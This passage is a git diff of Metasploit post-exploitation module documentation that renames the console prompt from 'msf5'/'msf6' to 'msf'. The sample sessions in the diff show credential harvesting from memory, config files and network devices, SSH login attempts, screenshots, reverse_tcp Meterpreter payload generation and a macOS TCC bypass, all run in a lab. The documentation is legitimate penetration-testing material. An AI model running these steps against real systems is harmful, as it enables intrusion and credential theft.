@@ -60,7 +60,7 @@ Active sessions -- ---- ---- ----------- ---------- 3 meterpreter x64/windows DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB 192.168.112.1:4444 -> 192.168.112.129:55513 (192.168.112.129) -msf6 post(multi/gather/memory_search) > run session=-1 regex="publickey,password.*" process_ids='' process_names_glob="ssh.*" +msf post(multi/gather/memory_search) > run session=-1 regex="publickey,password.*" process_ids='' process_names_glob="ssh.*" [*] Running module against - DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). This might take a few seconds... [*] Getting target processes... @@ -82,7 +82,7 @@ msf6 post(multi/gather/memory_search) > run session=-1 regex="publickey,password In this scenario, the Windows target is running the `http.server` module in Python: ``` -msf6 post(multi/gather/memory_search) > sessions +msf post(multi/gather/memory_search) > sessions Active sessions =============== @@ -91,7 +91,7 @@ Active sessions -- ---- ---- ----------- ---------- 3 meterpreter x64/windows DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB 192.168.112.1:4444 -> 192.168.112.129:55513 (192.168.112.129) -msf6 post(multi/gather/memory_search) > run session=-1 regex="GET /.*" process_ids='' process_names_glob="python.*|[Ww]indows[Tt]erminal.*" +msf post(multi/gather/memory_search) > run session=-1 regex="GET /.*" process_ids='' process_names_glob="python.*|[Ww]indows[Tt]erminal.*" [*] Running module against - DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). This might take a few seconds... [*] Getting target processes... diff --git a/documentation/modules/post/multi/gather/netrc_creds.md b/documentation/modules/post/multi/gather/netrc_creds.md index 81ab532e1122a..b4363bf2eb8e8 100644 --- a/documentation/modules/post/multi/gather/netrc_creds.md +++ b/documentation/modules/post/multi/gather/netrc_creds.md @@ -34,7 +34,7 @@ echo "password qwerty2" >> ~/.netrc ### Ubuntu 22.04.01 ``` -msf6 auxiliary(scanner/ssh/ssh_login) > sessions -l +msf auxiliary(scanner/ssh/ssh_login) > sessions -l Active sessions =============== @@ -43,10 +43,10 @@ Active sessions -- ---- ---- ----------- ---------- 1 shell linux SSH ubuntu @ 2.2.2.2:39857 -> 1.1.1.1:22 (1.1.1.1) -msf6 auxiliary(scanner/ssh/ssh_login) > use post/multi/gather/netrc_creds -msf6 post(multi/gather/netrc_creds) > set session 1 +msf auxiliary(scanner/ssh/ssh_login) > use post/multi/gather/netrc_creds +msf post(multi/gather/netrc_creds) > set session 1 session => 1 -msf6 post(multi/gather/netrc_creds) > run +msf post(multi/gather/netrc_creds) > run [*] Reading: /bin/.netrc [*] Reading: /dev/.netrc diff --git a/documentation/modules/post/multi/gather/saltstack_salt.md b/documentation/modules/post/multi/gather/saltstack_salt.md index dd9b369d65336..f68c3f02cff3b 100644 --- a/documentation/modules/post/multi/gather/saltstack_salt.md +++ b/documentation/modules/post/multi/gather/saltstack_salt.md @@ -93,7 +93,7 @@ resource (salt.rb)> run [+] Minion master: 444.444.4.444 [+] 333.333.3.333:22 - minion file successfully retrieved and saved on /root/.msf4/loot/20210410125036_default_333.333.3.333_saltstack_salt_minion_561296.bin [*] Post module execution completed -msf6 post(multi/gather/saltstack_salt) > cat /root/.msf4/loot/20210410125036_default_333.333.3.333_saltstack_salt_minion_561296.bin +msf post(multi/gather/saltstack_salt) > cat /root/.msf4/loot/20210410125036_default_333.333.3.333_saltstack_salt_minion_561296.bin [*] exec: cat /root/.msf4/loot/20210410125036_default_333.333.3.333_saltstack_salt_minion_561296.bin --- @@ -103,7 +103,7 @@ master: 444.444.4.444 ### Minion 3003 on Windows Server 2012 ``` -msf6 post(multi/gather/saltstack_salt) > rexploit +msf post(multi/gather/saltstack_salt) > rexploit [*] Reloading module... [!] SESSION may not be compatible with this module. @@ -391,7 +391,7 @@ window-salt-minion: info: some data [+] 333.333.3.333:22 - pillar data gathering successfully retrieved and saved to /.msf4/loot/20210502081106_default_333.333.3.333_saltstack_pillar_899591.bin [*] Post module execution completed -msf6 post(multi/gather/saltstack_salt) > hosts +msf post(multi/gather/saltstack_salt) > hosts Hosts ===== diff --git a/documentation/modules/post/multi/gather/ubiquiti_unifi_backup.md b/documentation/modules/post/multi/gather/ubiquiti_unifi_backup.md index 945a9d6d600d8..0df12e0a87440 100644 --- a/documentation/modules/post/multi/gather/ubiquiti_unifi_backup.md +++ b/documentation/modules/post/multi/gather/ubiquiti_unifi_backup.md @@ -88,7 +88,7 @@ resource (unifi.rb)> run #### Details ``` -msf5 post(multi/gather/ubiquiti_unifi_backup) > sessions -i 2 +msf post(multi/gather/ubiquiti_unifi_backup) > sessions -i 2 [*] Starting interaction with 2... meterpreter > getuid @@ -101,7 +101,7 @@ BuildTuple : i486-linux-musl Meterpreter : x86/linux meterpreter > background [*] Backgrounding session 2... -msf5 post(multi/gather/ubiquiti_unifi_backup) > loot +msf post(multi/gather/ubiquiti_unifi_backup) > loot Loot ==== @@ -164,7 +164,7 @@ resource (unifi.rb)> run #### Details ``` -msf5 post(multi/gather/ubiquiti_unifi_backup) > sessions -i 3 +msf post(multi/gather/ubiquiti_unifi_backup) > sessions -i 3 [*] Starting interaction with 3... meterpreter > getuid @@ -179,7 +179,7 @@ Logged On Users : 1 Meterpreter : x86/windows meterpreter > background [*] Backgrounding session 3... -msf5 post(multi/gather/ubiquiti_unifi_backup) > loot +msf post(multi/gather/ubiquiti_unifi_backup) > loot Loot ==== @@ -197,7 +197,7 @@ host service type name #### Module ``` -msf5 post(multi/gather/ubiquiti_unifi_backup) > rexploit +msf post(multi/gather/ubiquiti_unifi_backup) > rexploit [*] Reloading module... [+] Read UniFi Controller file /Users/unifi/Library/Application Support/Unifi/data/system.properties @@ -214,7 +214,7 @@ An example of the output when not utilizing meterpreter (just a shell) to access work successfully. ``` -msf5 post(multi/gather/ubiquiti_unifi_backup) > sessions +msf post(multi/gather/ubiquiti_unifi_backup) > sessions Active sessions =============== @@ -224,9 +224,9 @@ Active sessions 1 shell linux SSH unifi:unifi (1.1.1.1:22) 2.2.2.2:35125 -> 1.1.1.1:22 (1.1.1.1) 2 meterpreter x86/linux uid=1000, gid=1000, euid=1000, egid=1000 @ 1.1.1.1 2.2.2.2:4433 -> 1.1.1.1:52584 (1.1.1.1) -msf5 post(multi/gather/ubiquiti_unifi_backup) > session -i 1 +msf post(multi/gather/ubiquiti_unifi_backup) > session -i 1 l[-] Unknown command: session. -msf5 post(multi/gather/ubiquiti_unifi_backup) > sessions -i 1 +msf post(multi/gather/ubiquiti_unifi_backup) > sessions -i 1 [*] Starting interaction with 1... ls -lah /var/lib/unifi/backup/*.unf @@ -235,9 +235,9 @@ ls -lah /var/lib/unifi/backup/*.unf -rw-r----- 1 unifi unifi 3.3M May 10 14:26 /var/lib/unifi/backup/5.10.23.unf ^Z Background session 1? [y/N] y -msf5 post(multi/gather/ubiquiti_unifi_backup) > set session 1 +msf post(multi/gather/ubiquiti_unifi_backup) > set session 1 session => 1 -msf5 post(multi/gather/ubiquiti_unifi_backup) > run +msf post(multi/gather/ubiquiti_unifi_backup) > run [!] SESSION may not be compatible with this module. [+] Read UniFi Controller file /var/lib/unifi/system.properties diff --git a/documentation/modules/post/multi/gather/wowza_streaming_engine_creds.md b/documentation/modules/post/multi/gather/wowza_streaming_engine_creds.md index fa9a16889e09f..8c42389b8963c 100644 --- a/documentation/modules/post/multi/gather/wowza_streaming_engine_creds.md +++ b/documentation/modules/post/multi/gather/wowza_streaming_engine_creds.md @@ -25,10 +25,10 @@ Download and install [Wowza Streaming Engine](https://portal.wowza.com/account/d ### Wowza Streaming Engine Manager Version 4.8.20+1 (build 20220919162035) on Ubuntu 22.04 ``` -msf6 > use post/multi/gather/wowza_streaming_engine_creds -msf6 post(multi/gather/wowza_streaming_engine_creds) > set session 1 +msf > use post/multi/gather/wowza_streaming_engine_creds +msf post(multi/gather/wowza_streaming_engine_creds) > set session 1 session => 1 -msf6 post(multi/gather/wowza_streaming_engine_creds) > run +msf post(multi/gather/wowza_streaming_engine_creds) > run [*] Parsing file /usr/local/WowzaStreamingEngine/conf/admin.password Wowza Streaming Engine Credentials diff --git a/documentation/modules/post/multi/recon/local_exploit_suggester.md b/documentation/modules/post/multi/recon/local_exploit_suggester.md index d1e31f0f8bc5f..136242544cc98 100644 --- a/documentation/modules/post/multi/recon/local_exploit_suggester.md +++ b/documentation/modules/post/multi/recon/local_exploit_suggester.md @@ -45,7 +45,7 @@ This table is shown by default, and shows which exploits have had their `check` Below is an example of how this table could look: ``` -msf6 post(multi/recon/local_exploit_suggester) > run SESSION=-1 Verbose=false +msf post(multi/recon/local_exploit_suggester) > run SESSION=-1 Verbose=false [*] ::1 - Valid modules for session 3: ============================ @@ -84,7 +84,7 @@ It provides a list of modules that did not have their `check` method executed, a Below is an example of how this table could look: ``` -msf6 post(multi/recon/local_exploit_suggester) > run SESSION=-1 Verbose=true ValidateArch=false ValidatePlatform=true +msf post(multi/recon/local_exploit_suggester) > run SESSION=-1 Verbose=true ValidateArch=false ValidatePlatform=true ... Valid modules table here diff --git a/documentation/modules/post/multi/recon/reverse_lookup.md b/documentation/modules/post/multi/recon/reverse_lookup.md index cc21f0f99179f..0f3a6604fa57a 100644 --- a/documentation/modules/post/multi/recon/reverse_lookup.md +++ b/documentation/modules/post/multi/recon/reverse_lookup.md @@ -28,12 +28,12 @@ IP address range to resolve. ### Windows Server 2016 (x86_64) ``` -msf6 > use post/multi/recon/reverse_lookup -msf6 post(multi/recon/reverse_lookup) > set address 1.1.1.1 +msf > use post/multi/recon/reverse_lookup +msf post(multi/recon/reverse_lookup) > set address 1.1.1.1 address => 1.1.1.1 -msf6 post(multi/recon/reverse_lookup) > set session 1 +msf post(multi/recon/reverse_lookup) > set session 1 session => 1 -msf6 post(multi/recon/reverse_lookup) > run +msf post(multi/recon/reverse_lookup) > run [*] Resolving 1.1.1.1 [+] 1.1.1.1 resolves to one.one.one.one @@ -43,12 +43,12 @@ msf6 post(multi/recon/reverse_lookup) > run ### Solaris 11.3 (x86_64) ``` -msf6 > use post/multi/recon/reverse_lookup -msf6 post(multi/recon/reverse_lookup) > set address 1.1.1.1 +msf > use post/multi/recon/reverse_lookup +msf post(multi/recon/reverse_lookup) > set address 1.1.1.1 address => 1.1.1.1 -msf6 post(multi/recon/reverse_lookup) > set session 1 +msf post(multi/recon/reverse_lookup) > set session 1 session => 1 -msf6 post(multi/recon/reverse_lookup) > run +msf post(multi/recon/reverse_lookup) > run [*] Resolving 1.1.1.1 [+] 1.1.1.1 resolves to one.one.one.one @@ -58,12 +58,12 @@ msf6 post(multi/recon/reverse_lookup) > run ### Ubuntu Linux 22.04.1 (x86_64) ``` -msf6 > use post/multi/recon/reverse_lookup -msf6 post(multi/recon/reverse_lookup) > set address 1.1.1.1 +msf > use post/multi/recon/reverse_lookup +msf post(multi/recon/reverse_lookup) > set address 1.1.1.1 address => 1.1.1.1 -msf6 post(multi/recon/reverse_lookup) > set session 1 +msf post(multi/recon/reverse_lookup) > set session 1 session => 1 -msf6 post(multi/recon/reverse_lookup) > run +msf post(multi/recon/reverse_lookup) > run [!] SESSION may not be compatible with this module: [!] * missing Meterpreter features: stdapi_railgun_memread, stdapi_railgun_api diff --git a/documentation/modules/post/multi/recon/sudo_commands.md b/documentation/modules/post/multi/recon/sudo_commands.md index 5bf4399acaf83..d36f1f23ea214 100644 --- a/documentation/modules/post/multi/recon/sudo_commands.md +++ b/documentation/modules/post/multi/recon/sudo_commands.md @@ -40,12 +40,12 @@ ## Scenarios ``` - msf5 > use post/multi/recon/sudo_commands - msf5 post(multi/recon/sudo_commands) > set session 1 + msf > use post/multi/recon/sudo_commands + msf post(multi/recon/sudo_commands) > set session 1 session => 1 - msf5 post(multi/recon/sudo_commands) > set verbose true + msf post(multi/recon/sudo_commands) > set verbose true verbose => true - msf5 post(multi/recon/sudo_commands) > run + msf post(multi/recon/sudo_commands) > run [*] Executing: /usr/bin/sudo -n -l Matching Defaults entries for wvu on localhost: @@ -78,7 +78,7 @@ [+] Output stored in: /Users/user/.msf4/loot/20180613134731_default_192.168.56.101_sudo.commands_305964.txt [*] Post module execution completed - msf5 post(multi/recon/sudo_commands) > cat /Users/user/.msf4/loot/20180613134731_default_192.168.56.101_sudo.commands_305964.txt + msf post(multi/recon/sudo_commands) > cat /Users/user/.msf4/loot/20180613134731_default_192.168.56.101_sudo.commands_305964.txt [*] exec: cat /Users/user/.msf4/loot/20180613134731_default_192.168.56.101_sudo.commands_305964.txt Command,RunAsUsers,RunAsGroups,Password?,Privesc? @@ -87,6 +87,6 @@ "/sbin/umount /mnt/cdrom","root","","True","" "ALL","ALL","","True","True" "ALL","ALL","","","True" - msf5 post(multi/recon/sudo_commands) > + msf post(multi/recon/sudo_commands) > ``` diff --git a/documentation/modules/post/multi/sap/smdagent_get_properties.md b/documentation/modules/post/multi/sap/smdagent_get_properties.md index ddc728fb00b29..bab76e67030eb 100644 --- a/documentation/modules/post/multi/sap/smdagent_get_properties.md +++ b/documentation/modules/post/multi/sap/smdagent_get_properties.md @@ -18,7 +18,7 @@ None. ## Scenarios ``` -msf6 post(multi/sap/smdagent_get_properties) > sessions +msf post(multi/sap/smdagent_get_properties) > sessions Active sessions =============== @@ -28,9 +28,9 @@ Active sessions 1 shell linux SSH daaadm:TestPass1 (172.16.30.14:22) 192.168.50.2:58316 -> 172.16.30.14:22 (172.16.30.14) 2 meterpreter x64/windows SAP731\Administrator @ SAP731 0.0.0.0:0 -> 172.16.30.80:4444 (172.16.30.80) -msf6 post(multi/sap/smdagent_get_properties) > set SESSION 1 +msf post(multi/sap/smdagent_get_properties) > set SESSION 1 SESSION => 1 -msf6 post(multi/sap/smdagent_get_properties) > run +msf post(multi/sap/smdagent_get_properties) > run [+] File /usr/sap/DAA/SMDA98/SMDAgent/configuration/runtime.properties saved in: /Users/vladimir/.msf4/loot/20210329205801_SAP_TEST_172.16.30.14_smdagent.propert_457968.txt [+] File /usr/sap/DAA/SMDA98/SMDAgent/configuration/secstore.properties saved in: /Users/vladimir/.msf4/loot/20210329205811_SAP_TEST_172.16.30.14_smdagent.propert_587689.txt @@ -53,9 +53,9 @@ msf6 post(multi/sap/smdagent_get_properties) > run [+] Store decoded credentials for SolMan server [*] Post module execution completed -msf6 post(multi/sap/smdagent_get_properties) > set SESSION 2 +msf post(multi/sap/smdagent_get_properties) > set SESSION 2 SESSION => 2 -msf6 post(multi/sap/smdagent_get_properties) > run +msf post(multi/sap/smdagent_get_properties) > run [+] File c:\usr\sap\DAA\SMDA97\SMDAgent\configuration\runtime.properties saved in: /Users/vladimir/.msf4/loot/20210329205823_SAP_TEST_172.16.30.80_smdagent.propert_357417.txt [+] File c:\usr\sap\DAA\SMDA97\SMDAgent\configuration\secstore.properties saved in: /Users/vladimir/.msf4/loot/20210329205823_SAP_TEST_172.16.30.80_smdagent.propert_604626.txt @@ -78,7 +78,7 @@ msf6 post(multi/sap/smdagent_get_properties) > run [+] Store decoded credentials for SolMan server [*] Post module execution completed -msf6 post(multi/sap/smdagent_get_properties) > creds +msf post(multi/sap/smdagent_get_properties) > creds Credentials =========== @@ -87,7 +87,7 @@ host origin service public private realm pr 172.16.30.100 172.16.30.100 50000/tcp (http) j2ee_admin asdQWE123 Password 172.16.30.100 172.16.30.100 50000/tcp (http) SLDDSUSER asdQWE123 Password -msf6 post(multi/sap/smdagent_get_properties) > services +msf post(multi/sap/smdagent_get_properties) > services Services ======== @@ -95,7 +95,7 @@ host port proto name state info ---- ---- ----- ---- ----- ---- 172.16.30.46 50000 tcp soap open SAP Solution Manager -msf6 post(multi/sap/smdagent_get_properties) > vulns +msf post(multi/sap/smdagent_get_properties) > vulns Vulnerabilities =============== diff --git a/documentation/modules/post/networking/gather/enum_brocade.md b/documentation/modules/post/networking/gather/enum_brocade.md index 103c8945cbf79..c0bf7d1387794 100644 --- a/documentation/modules/post/networking/gather/enum_brocade.md +++ b/documentation/modules/post/networking/gather/enum_brocade.md @@ -74,7 +74,7 @@ resource (brocade.rb)> run [+] ENCRYPTED SNMP community $MlVzZCFAbg== with permissions ro [+] ENCRYPTED SNMP community $U2kyXj1k with permissions rw [*] Post module execution completed -msf5 post(networking/gather/enum_brocade) > loot +msf post(networking/gather/enum_brocade) > loot Loot ==== @@ -84,7 +84,7 @@ host service type name content info 10.0.4.51 brocade.version version.txt text/plain Brocade Version /root/.msf4/loot/20190601221959_default_10.0.4.51_brocade.version_003751.txt 10.0.4.51 brocade.config config.txt text/plain Brocade Configuration /root/.msf4/loot/20190601222004_default_10.0.4.51_brocade.config_998514.txt -msf5 post(networking/gather/enum_brocade) > creds +msf post(networking/gather/enum_brocade) > creds Credentials =========== diff --git a/documentation/modules/post/networking/gather/enum_cisco.md b/documentation/modules/post/networking/gather/enum_cisco.md index cb743b794647b..1a3d0c7c1c1f4 100644 --- a/documentation/modules/post/networking/gather/enum_cisco.md +++ b/documentation/modules/post/networking/gather/enum_cisco.md @@ -84,7 +84,7 @@ resource (cisco.rb)> run [+] Saving to /root/.msf4/loot/20190720163006_default_222.222.2.222_cisco.ios.cdp_ne_989308.txt [*] Post module execution completed [*] Starting persistent handler(s)... -msf5 post(networking/gather/enum_cisco) > creds +msf post(networking/gather/enum_cisco) > creds Credentials =========== @@ -153,7 +153,7 @@ resource (cisco.rb)> run [+] Saving to /root/.msf4/loot/20190721162508_default_222.222.2.222_cisco.ios.cdp_ne_405367.txt [*] Post module execution completed [*] Starting persistent handler(s)... -msf5 post(networking/gather/enum_cisco) > creds +msf post(networking/gather/enum_cisco) > creds Credentials =========== diff --git a/documentation/modules/post/networking/gather/enum_juniper.md b/documentation/modules/post/networking/gather/enum_juniper.md index c13f9a3aadbb0..a7f4552b2577e 100644 --- a/documentation/modules/post/networking/gather/enum_juniper.md +++ b/documentation/modules/post/networking/gather/enum_juniper.md @@ -41,14 +41,14 @@ This module will look for the following parameters which contain credentials: #### root Login (SSH Shell) ``` -msf5 > auxiliary/scanner/ssh/ssh_login -msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.5 +msf > auxiliary/scanner/ssh/ssh_login +msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.5 rhosts => 192.168.1.5 -msf5 auxiliary(scanner/ssh/ssh_login) > set username root +msf auxiliary(scanner/ssh/ssh_login) > set username root username => root -msf5 auxiliary(scanner/ssh/ssh_login) > set password Juniper +msf auxiliary(scanner/ssh/ssh_login) > set password Juniper password => Juniper -msf5 auxiliary(scanner/ssh/ssh_login) > run +msf auxiliary(scanner/ssh/ssh_login) > run [+] 192.168.1.5:22 - Success: 'root:Juniper' 'Hostname: h00dieJuniperEx2200, Model: ex2200-48t-4g, JUNOS Base OS boot [12.3R7.7]' [*] Command shell session 1 opened (192.168.1.6:45623 -> 192.168.1.5:22) at 2020-07-14 20:48:58 -0400 @@ -57,10 +57,10 @@ msf5 auxiliary(scanner/ssh/ssh_login) > run ``` ``` -msf5 auxiliary(scanner/ssh/ssh_login) > use post/networking/gather/enum_juniper -msf5 post(networking/gather/enum_juniper) > set session 1 +msf auxiliary(scanner/ssh/ssh_login) > use post/networking/gather/enum_juniper +msf post(networking/gather/enum_juniper) > set session 1 session => 1 -msf5 post(networking/gather/enum_juniper) > run +msf post(networking/gather/enum_juniper) > run [*] In an SSH shell [*] Getting version information [*] Original OS Guess junos, is now JunOS 12.3R7.7 @@ -81,7 +81,7 @@ msf5 post(networking/gather/enum_juniper) > run [+] radius server 1.1.1.1 password hash: $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV [+] PPTP username 'pap_username' hash $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR via PAP [*] Post module execution completed -msf5 post(networking/gather/enum_juniper) > creds +msf post(networking/gather/enum_juniper) > creds Credentials =========== @@ -105,14 +105,14 @@ host origin service public private #### cli Login ``` -msf5 > auxiliary/scanner/ssh/ssh_login -msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.5 +msf > auxiliary/scanner/ssh/ssh_login +msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.1.5 rhosts => 192.168.1.5 -msf5 auxiliary(scanner/ssh/ssh_login) > set username newuser +msf auxiliary(scanner/ssh/ssh_login) > set username newuser username => newuser -msf5 auxiliary(scanner/ssh/ssh_login) > set password Newuser +msf auxiliary(scanner/ssh/ssh_login) > set password Newuser password => Newuser -msf5 auxiliary(scanner/ssh/ssh_login) > run +msf auxiliary(scanner/ssh/ssh_login) > run [+] 192.168.1.5:22 - Success: 'newuser:Newuser' 'Hostname: h00dieJuniperEx2200, Model: ex2200-48t-4g, JUNOS Base OS boot [12.3R7.7]' [*] Command shell session 2 opened (192.168.1.6:45623 -> 192.168.1.5:22) at 2018-02-19 21:32:20 -0500 diff --git a/documentation/modules/post/osx/admin/say.md b/documentation/modules/post/osx/admin/say.md index 7331fa08dbf5e..2fe314f76c78a 100644 --- a/documentation/modules/post/osx/admin/say.md +++ b/documentation/modules/post/osx/admin/say.md @@ -77,9 +77,9 @@ Zuzana cs_CZ # Dobrý den, jmenuji se Zuzana. Jsem český hlas. ### User level shell on OSX 10.14.4 ``` -msf5 auxiliary(scanner/ssh/ssh_login) > use post/osx/admin/say -msf5 post(osx/admin/say) > set session 1 +msf auxiliary(scanner/ssh/ssh_login) > use post/osx/admin/say +msf post(osx/admin/say) > set session 1 session => 1 -msf5 post(osx/admin/say) > run +msf post(osx/admin/say) > run [*] Post module execution completed ``` diff --git a/documentation/modules/post/osx/capture/screen.md b/documentation/modules/post/osx/capture/screen.md index 403ac69dde203..38b18da7309c8 100644 --- a/documentation/modules/post/osx/capture/screen.md +++ b/documentation/modules/post/osx/capture/screen.md @@ -33,16 +33,16 @@ This module takes screenshots of target desktop and automatically downloads them ### User level shell on OSX 10.14.4 ``` -msf5 post(osx/capture/keylog_recorder) > use post/osx/capture/screen -msf5 post(osx/capture/screen) > set session 1 +msf post(osx/capture/keylog_recorder) > use post/osx/capture/screen +msf post(osx/capture/screen) > set session 1 session => 1 -msf5 post(osx/capture/screen) > run +msf post(osx/capture/screen) > run [*] Capturing 1 screenshots with a delay of 10 seconds [*] Screen Capturing Complete [*] Use "loot -t screen_capture.screenshot" to see file locations of your newly acquired loot [*] Post module execution completed -msf5 post(osx/capture/screen) > loot -t screen_capture.screenshot +msf post(osx/capture/screen) > loot -t screen_capture.screenshot Loot ==== diff --git a/documentation/modules/post/osx/escalate/tccbypass.md b/documentation/modules/post/osx/escalate/tccbypass.md index c10936e394948..d434f9c3eb538 100644 --- a/documentation/modules/post/osx/escalate/tccbypass.md +++ b/documentation/modules/post/osx/escalate/tccbypass.md @@ -20,23 +20,23 @@ entitlements by inserting them into this new database. ### User level shell on macOS Catalina 10.15.4 ``` -msf6 > use payload/osx/x64/meterpreter/reverse_tcp -msf6 payload(osx/x64/meterpreter/reverse_tcp) > set lhost 192.168.135.197 +msf > use payload/osx/x64/meterpreter/reverse_tcp +msf payload(osx/x64/meterpreter/reverse_tcp) > set lhost 192.168.135.197 lhost => 192.168.135.197 -msf6 payload(osx/x64/meterpreter/reverse_tcp) > set lport 4567 +msf payload(osx/x64/meterpreter/reverse_tcp) > set lport 4567 lport => 4567 -msf6 payload(osx/x64/meterpreter/reverse_tcp) > generate -f macho -o revtcpx64.mac +msf payload(osx/x64/meterpreter/reverse_tcp) > generate -f macho -o revtcpx64.mac [*] Writing 17204 bytes to revtcpx64.mac... -msf6 payload(osx/x64/meterpreter/reverse_tcp) > to_handler +msf payload(osx/x64/meterpreter/reverse_tcp) > to_handler [*] Payload Handler Started as Job 0 [*] Started reverse TCP handler on 192.168.135.197:4567 -msf6 payload(osx/x64/meterpreter/reverse_tcp) > [*] Transmitting first stager...(210 bytes) +msf payload(osx/x64/meterpreter/reverse_tcp) > [*] Transmitting first stager...(210 bytes) [*] Transmitting second stager...(8192 bytes) [*] Sending stage (799916 bytes) to 192.168.132.178 [*] Meterpreter session 1 opened (192.168.135.197:4567 -> 192.168.132.178:49156) at 2020-09-10 11:44:05 -0500 -msf6 payload(osx/x64/meterpreter/reverse_tcp) > sessions -i -1 +msf payload(osx/x64/meterpreter/reverse_tcp) > sessions -i -1 [*] Starting interaction with 1... meterpreter > sysinfo @@ -51,8 +51,8 @@ meterpreter > ls Documents [-] 1009: Operation failed: 1 meterpreter > background [*] Backgrounding session 1... -msf6 payload(osx/x64/meterpreter/reverse_tcp) > use post/osx/escalate/tccbypass -msf6 post(osx/escalate/tccbypass) > show options +msf payload(osx/x64/meterpreter/reverse_tcp) > use post/osx/escalate/tccbypass +msf post(osx/escalate/tccbypass) > show options Module options (post/osx/escalate/tccbypass): @@ -60,11 +60,11 @@ Module options (post/osx/escalate/tccbypass): ---- --------------- -------- ----------- SESSION yes The session to run this module on. -msf6 post(osx/escalate/tccbypass) > set session 1 +msf post(osx/escalate/tccbypass) > set session 1 session => 1 -msf6 post(osx/escalate/tccbypass) > set verbose true +msf post(osx/escalate/tccbypass) > set verbose true verbose => true -msf6 post(osx/escalate/tccbypass) > run +msf post(osx/escalate/tccbypass) > run [*] Creating TCC directory /tmp/.SZulaEVB/Library/Application Support/com.apple.TCC [+] fake TCC DB found: /tmp/.SZulaEVB/Library/Application Support/com.apple.TCC/TCC.db @@ -74,7 +74,7 @@ launchctl unsetenv HOME && launchctl stop com.apple.tccd && launchctl start com. rm -rf '/tmp/.SZulaEVB' [*] Post module execution completed -msf6 post(osx/escalate/tccbypass) > sessions -i -1 +msf post(osx/escalate/tccbypass) > sessions -i -1 [*] Starting interaction with 1... meterpreter > getuid diff --git a/documentation/modules/post/osx/gather/apfs_encrypted_volume_passwd.md b/documentation/modules/post/osx/gather/apfs_encrypted_volume_passwd.md index bab610f1c79e2..786de20a80501 100644 --- a/documentation/modules/post/osx/gather/apfs_encrypted_volume_passwd.md +++ b/documentation/modules/post/osx/gather/apfs_encrypted_volume_passwd.md @@ -29,13 +29,13 @@ This module uses a vulnerability in macOS High Sierra's `log` command. It uses t Typical run against an OSX session, after creating a new APFS disk using Disk Utility: ``` -msf5 exploit(multi/handler) > use post/osx/gather/apfs_encrypted_volume_passwd -msf5 post(osx/gather/apfs_encrypted_volume_passwd) > set SESSION -1 +msf exploit(multi/handler) > use post/osx/gather/apfs_encrypted_volume_passwd +msf post(osx/gather/apfs_encrypted_volume_passwd) > set SESSION -1 SESSION => -1 -msf5 post(osx/gather/apfs_encrypted_volume_passwd) > exploit +msf post(osx/gather/apfs_encrypted_volume_passwd) > exploit [+] APFS command found: newfs_apfs -i -E -S aa -v Untitled disk2s2 . [+] APFS command found: newfs_apfs -A -e -E -S secretpassword -v Untitled disk2 . [*] Post module execution completed -msf5 post(osx/gather/apfs_encrypted_volume_passwd) > +msf post(osx/gather/apfs_encrypted_volume_passwd) > ``` diff --git a/documentation/modules/post/osx/gather/enum_osx.md b/documentation/modules/post/osx/gather/enum_osx.md index 5010f45d32393..bb05fa27c2993 100644 --- a/documentation/modules/post/osx/gather/enum_osx.md +++ b/documentation/modules/post/osx/gather/enum_osx.md @@ -42,8 +42,8 @@ The following information is enumerated: ### User level shell on OSX 10.14.4 ``` -msf5 > use post/osx/gather/enum_osx -msf5 post(osx/gather/enum_osx) > show options +msf > use post/osx/gather/enum_osx +msf post(osx/gather/enum_osx) > show options Module options (post/osx/gather/enum_osx): @@ -51,9 +51,9 @@ Module options (post/osx/gather/enum_osx): ---- --------------- -------- ----------- SESSION yes The session to run this module on. -msf5 post(osx/gather/enum_osx) > set session 1 +msf post(osx/gather/enum_osx) > set session 1 session => 1 -msf5 post(osx/gather/enum_osx) > run +msf post(osx/gather/enum_osx) > run [*] Running module against MacBook-Pro.nogroup [*] Saving all data to /logs/post/enum_osx/MacBook-Pro.nogroup_20190415.5738 @@ -85,7 +85,7 @@ msf5 post(osx/gather/enum_osx) > run [*] Downloading .bash_history [*] Enumerating and Downloading keychains for h00die [*] Post module execution completed -msf5 post(osx/gather/enum_osx) > ls -lah /logs/post/enum_osx/MacBook-Pro.nogroup_20190415.5738 +msf post(osx/gather/enum_osx) > ls -lah /logs/post/enum_osx/MacBook-Pro.nogroup_20190415.5738 [*] exec: ls -lah /logs/post/enum_osx/MacBook-Pro.nogroup_20190415.5738 total 1.4M diff --git a/documentation/modules/post/osx/gather/gitignore.md b/documentation/modules/post/osx/gather/gitignore.md index d5ed085c1a0a3..6e12bbb7868d3 100644 --- a/documentation/modules/post/osx/gather/gitignore.md +++ b/documentation/modules/post/osx/gather/gitignore.md @@ -42,9 +42,9 @@ Gitignore files commonly list items developers don't want leaked and generally c ### Finding gitignore files ``` -msf6 post(osx/gather/gitignore) > set mode 1 -msf6 post(osx/gather/gitignore) > set session 1 -msf6 post(osx/gather/gitignore) > run +msf post(osx/gather/gitignore) > set mode 1 +msf post(osx/gather/gitignore) > set session 1 +msf post(osx/gather/gitignore) > run [*] Fetching .gitignore files [+] /Users/victim/Documents/project/.gitignore @@ -55,9 +55,9 @@ msf6 post(osx/gather/gitignore) > run ### Recovering contents of a specific gitignore ``` -msf6 post(osx/gather/gitignore) > set file /Users/victim/project/.gitignore -msf6 post(osx/gather/gitignore) > set mode 2 -msf6 post(osx/gather/gitignore) > run +msf post(osx/gather/gitignore) > set file /Users/victim/project/.gitignore +msf post(osx/gather/gitignore) > set mode 2 +msf post(osx/gather/gitignore) > run [+] /Users/victim/project/.gitignore [+] .sensitive_file @@ -67,8 +67,8 @@ msf6 post(osx/gather/gitignore) > run ### Recovering contents of a sentitive file ``` -msf6 post(osx/gather/gitignore) > set file /Users/victim/project/.sensitive_file -msf6 post(osx/gather/gitignore) > run +msf post(osx/gather/gitignore) > set file /Users/victim/project/.sensitive_file +msf post(osx/gather/gitignore) > run [+] /Users/victim/project/.sensitive_file [+] 